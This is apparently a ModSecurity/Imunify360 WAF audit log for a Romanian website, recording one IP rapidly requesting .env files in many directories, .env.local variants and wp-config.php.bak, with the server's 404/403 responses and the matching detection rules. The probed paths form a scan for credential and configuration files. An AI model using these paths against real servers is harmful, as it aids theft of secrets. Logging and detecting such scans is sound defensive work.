[13/Sep/2026:13:01:46.814085 +0300] aqZ0ikwu1RSkptiiNIX5lAAAAJg 45.138.12.13 54530 127.0.0.1 7081
--96300256-B--
GET /api/shared/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--96300256-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--96300256-E--
--96300256-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/shared/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5lAAAAJg"]
Stopwatch: 1789293706808344 5822 (- - -)
Stopwatch2: 1789293706808344 5822; combined=4788, p1=249, p2=4435, p3=58, p4=7, p5=38, sr=86, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--96300256-Z--
--b2c56757-A--
[13/Sep/2026:13:01:46.816058 +0300] aqZ0ikwu1RSkptiiNIX5lQAAAIA 45.138.12.13 54500 127.0.0.1 7081
--b2c56757-B--
GET /backend/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--b2c56757-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b2c56757-E--
--b2c56757-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/backend/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5lQAAAIA"]
Stopwatch: 1789293706810360 5766 (- - -)
Stopwatch2: 1789293706810360 5766; combined=4431, p1=347, p2=3986, p3=55, p4=7, p5=36, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b2c56757-Z--
--21f5c05a-A--
[13/Sep/2026:13:01:46.886258 +0300] aqZ0ikwu1RSkptiiNIX5mQAAAJI 45.138.12.13 54558 127.0.0.1 7081
--21f5c05a-B--
GET /.env.production.local HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--21f5c05a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--21f5c05a-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.production.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.production.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.production.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5mQAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.production.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5mQAAAJI"]
Action: Intercepted (phase 2)
Stopwatch: 1789293706825773 60546 (- - -)
Stopwatch2: 1789293706825773 60546; combined=59179, p1=200, p2=58716, p3=0, p4=0, p5=263, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--21f5c05a-Z--
--68e9ee61-A--
[13/Sep/2026:13:01:46.899492 +0300] aqZ0ikwu1RSkptiiNIX5nQAAAJA 45.138.12.13 54546 127.0.0.1 7081
--68e9ee61-B--
GET /.env.local HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--68e9ee61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--68e9ee61-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5nQAAAJA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5nQAAAJA"]
Action: Intercepted (phase 2)
Stopwatch: 1789293706841336 58229 (- - -)
Stopwatch2: 1789293706841336 58229; combined=57007, p1=184, p2=56565, p3=0, p4=0, p5=258, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--68e9ee61-Z--
--d52e5530-A--
[13/Sep/2026:13:01:49.162343 +0300] aqZ0jUwu1RSkptiiNIX5ngAAAJg 45.138.12.13 54624 127.0.0.1 7081
--d52e5530-B--
GET /crm/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--d52e5530-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d52e5530-E--
--d52e5530-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/crm/.env"] [unique_id "aqZ0jUwu1RSkptiiNIX5ngAAAJg"]
Stopwatch: 1789293709157178 5231 (- - -)
Stopwatch2: 1789293709157178 5231; combined=4066, p1=328, p2=3645, p3=53, p4=6, p5=34, sr=180, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d52e5530-Z--
--4969c35f-A--
[13/Sep/2026:13:01:49.170218 +0300] aqZ0jTTJ6xTvcJoem7f7UwAAAEc 45.138.12.13 54694 127.0.0.1 7081
--4969c35f-B--
GET /web/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--4969c35f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--4969c35f-E--
--4969c35f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/web/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7UwAAAEc"]
Stopwatch: 1789293709165291 4994 (- - -)
Stopwatch2: 1789293709165291 4994; combined=3830, p1=227, p2=3494, p3=52, p4=6, p5=51, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4969c35f-Z--
--6c4b984e-A--
[13/Sep/2026:13:01:49.183726 +0300] aqZ0jTTJ6xTvcJoem7f7VAAAAE0 45.138.12.13 54668 127.0.0.1 7081
--6c4b984e-B--
GET /apps/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--6c4b984e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6c4b984e-E--
--6c4b984e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/apps/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7VAAAAE0"]
Stopwatch: 1789293709178301 5521 (- - -)
Stopwatch2: 1789293709178301 5521; combined=4109, p1=220, p2=3761, p3=69, p4=7, p5=52, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c4b984e-Z--
--68a78f69-A--
[13/Sep/2026:13:01:49.206992 +0300] aqZ0jTTJ6xTvcJoem7f7VgAAAEY 45.138.12.13 54652 127.0.0.1 7081
--68a78f69-B--
GET /core/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--68a78f69-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--68a78f69-E--
--68a78f69-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/core/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7VgAAAEY"]
Stopwatch: 1789293709201202 5859 (- - -)
Stopwatch2: 1789293709201202 5859; combined=4478, p1=252, p2=4121, p3=57, p4=7, p5=40, sr=103, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--68a78f69-Z--
--0b6a857e-A--
[13/Sep/2026:13:01:49.213871 +0300] aqZ0jTTJ6xTvcJoem7f7VwAAAFM 45.138.12.13 54648 127.0.0.1 7081
--0b6a857e-B--
GET /local/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--0b6a857e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--0b6a857e-E--
--0b6a857e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/local/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7VwAAAFM"]
Stopwatch: 1789293709208848 5091 (- - -)
Stopwatch2: 1789293709208848 5091; combined=3961, p1=195, p2=3589, p3=138, p4=7, p5=32, sr=85, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b6a857e-Z--
--56d8d645-A--
[13/Sep/2026:13:01:49.223106 +0300] aqZ0jTTJ6xTvcJoem7f7UgAAAFY 45.138.12.13 54658 127.0.0.1 7081
--56d8d645-B--
GET /application/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--56d8d645-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--56d8d645-E--
--56d8d645-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/application/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7UgAAAFY"]
Stopwatch: 1789293709163164 60020 (- - -)
Stopwatch2: 1789293709163164 60020; combined=58712, p1=207, p2=58401, p3=58, p4=8, p5=38, sr=82, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--56d8d645-Z--
--b106851b-A--
[13/Sep/2026:13:01:49.246342 +0300] aqZ0jSsVWymXUono-eRVVQAAAAE 45.138.12.13 54718 127.0.0.1 7081
--b106851b-B--
GET /wp-config.php.bak HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--b106851b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b106851b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZ0jSsVWymXUono-eRVVQAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZ0jSsVWymXUono-eRVVQAAAAE"]
Action: Intercepted (phase 2)
Stopwatch: 1789293709183314 63112 (- - -)
Stopwatch2: 1789293709183314 63112; combined=61513, p1=433, p2=60778, p3=0, p4=0, p5=301, sr=149, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b106851b-Z--
--8d4c796f-A--
